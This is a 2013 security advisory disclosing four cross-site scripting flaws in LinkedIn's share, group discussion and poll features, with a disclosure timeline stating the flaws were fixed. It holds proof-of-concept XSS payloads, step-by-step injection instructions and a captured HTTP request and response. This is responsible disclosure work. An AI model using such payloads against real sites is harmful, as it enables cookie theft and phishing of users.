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Message-ID: <52443E3F.8050701@isecauditors.com>
Date: Thu, 26 Sep 2013 16:01:35 +0200
From: ISecAuditors Security Advisories <advisories@...cauditors.com>
To: destinatarios-no-revelados:;
Subject: [ISecAuditors Security Advisories] Multiple
Reflected Cross-Site Scripting vulnerabilities
=============================================
INTERNET SECURITY AUDITORS ALERT 2012-003
- Original release date: 16th December 2012
- Last revised: 26th September 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 6.8/10 (CVSS Base Scored)
=============================================
I. VULNERABILITY
-------------------------
LinkedIn social network is affected by Multiple Reflected Cross-Site
Scripting vulnerabilities.
II. BACKGROUND
-------------------------
LinkedIn is a social networking service and
website(http://www.linkedin.com/) operates the world's largest
professional network on the Internet with more
than 187 million members in over 200 countries and territories.
More Information: http://press.linkedin.com/about
III. DESCRIPTION
-------------------------
LinkedIn social network is affected by Multiple reflected Cross-Site
Scripting vulnerabilities. An attacker can inject HTML or script code in
the context of
victim's browser, so can perform XSS attacks, and steal cookies of a
targeted user. The affected resource is
http://www.linkedin.com/home?trk=guest_home.
IV. PROOF OF CONCEPT
-------------------------
=============================
First XSS -> Corrected
=============================
You can go to LinkedIn Home -> Shared an Update -> Attach Link. After
attack link, you should edit this link, and put in the Title and
Description field, the
XSS injection, for example:
+ <h1>XSS TEST</h1>
+ <iframe src="javascript:alert(document.cookie);"></iframe>
Finally, you should pulse "Preview" button, and then show you the injection.
The vulnerability is in this code:
<div class="share-content" id="share-content" data-entity-id="932308905"
data-entity-url="http://www.URL.com" data-has-photo="yes">
<h4 class="share-view-title" id="share-view-title">XSSINJECTION</h4>
<p id="share-view-meta" class="meta">
URLTITLE
</p>
<p class="share-summary">
<span class="share-view-summary" id="share-view-summary">XSSINJECTION</span>
<a href="#" id="share-edit-link">Edit</a>
<script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2"
type="linkedin/control" class="li-control">
/* extlib: _toggleclass */
LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2',
'ToggleClass', {
classname: 'is-view-mode',
on: '#share-preview',
stopEvent: true
});
</script>
</p>
</div>
=============================
Second XSS
=============================
You can go to LinkedIn Groups -> Groups you may like, and find some
open group, for example "Test Analyst / Test Lead / Test Manager
Networking". After, you
can start Discussion, and put on the fields "Test" and "test" value and
pulse "share" button. When the discussion is shared, show you "Your post
has been
submitted for review. You can view it here.", if you go to "here" link,
you can edit your post and put, for example, this code:
+ <IFRAME SRC=# onmouseover="alert('XSS')">
Example REQUEST:
POST /groupItem HTTP/1.1
Host: www.linkedin.com
Origin: http://www.linkedin.com
X-Requested-With: XMLHttpRequest
Referer:
http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XXX
editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME
SRC=#
onmouseover="alert('XSS')">&detail=test&
RESPONSE:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Vary: Accept-Encoding
Date: Mon, 04 Mar 2013 14:51:03 GMT
X-FS-TXN-ID: 2adf39a79210
X-FS-UUID: c84a30f8753fe812d0841ff4322b0000
X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==
Age: 0
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Set-Cookie: XXX
{"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">
...","editTimeLeftAsStr":"13 minutes
left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF
RAME SRC=#
onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME
SRC=# onmouseover=\"alert
('XSS')\">","abbreviatedDetail":"test"}
and then show you the injection.
=============================
Third XSS
=============================
You can go to LinkedIn Groups -> Create a Group, and create new group.
After, you can start Discussion, and put on the fields, for example,
this code:
+ <IFRAME SRC=# onmouseover="alert('XSS')">
Pulse "share" button and then show you the injection.
===============
Fourth XSS
===============
You can go to LinkedIn Groups -> Create a Group, and create new group.
After, you can create a Poll, and put on the fields, for example, this code:
+ <IFRAME SRC=# onmouseover="alert('XSS')">
Pulse "share" button and then show you the injection.
V. BUSINESS IMPACT
------------------------
This flaw can be used by a malicious user to send phishing to the linked
in customers, abusing of the users trust on LinkedIn portal, tricking
the user. This
user can be forward to a LinkedIn clone site to stolen credentials, to
some malicious site hosting malware and more.
VI. SYSTEMS AFFECTED
-------------------------
The vulnerability affects the LinkedIn network:
http://www.linkedin.com
https://touch.www.linkedin.com
VII. SOLUTION
-------------------------
Partially pending.
VIII. REFERENCES
-------------------------
http://www.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
IX. CREDITS
-------------------------
These vulnerabilities have been discovered by
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
X. REVISION HISTORY
-------------------------
December 17, 2012: Initial release.
January 20, 2013: Second revision.
March 10, 2013: Third revision.
September 26, 2013: Final release.
XI. DISCLOSURE TIMELINE
-------------------------
December 17, 2012: Vulnerability acquired by Eduardo Garcia Melia
Internet Security Auditors (www.isecauditors.com).
January 20, 2013: Second revision.
Sent to LinkedIn Security Team.
February 7, 2013: Response from Sec Team. Ask for resend.
February 19, 2013: Send updated.
February 26, 2013: Answer about it seems to be corrected. Possitively
checked.
March 10, 2013: Send updated with more XSS vulnerable resources.
July 11, 2013: All XSS issues have been resolved.
September 26, 2013: Sent to lists.
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet
Security
Auditors accepts no responsibility for any damage caused by the use or
misuse of this information.
XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and
assessing. Our clients include some of the largest companies in areas
such as finance, telecommunications, insurance, ITC, etc. We are vendor
independent
provider with a deep expertise since 2001. Our efforts in R&D include
vulnerability research, open security project collaboration and
whitepapers,
presentations and security events participation and promotion. For
further information regarding our security services, contact us.
XIV. FOLLOW US
-------------------------
You can follow Internet Security Auditors, news and security advisories at:
https://www.facebook.com/ISecAuditors
https://twitter.com/ISecAuditors
http://www.linkedin.com/company/internet-security-auditors
http://www.youtube.com/user/ISecAuditors
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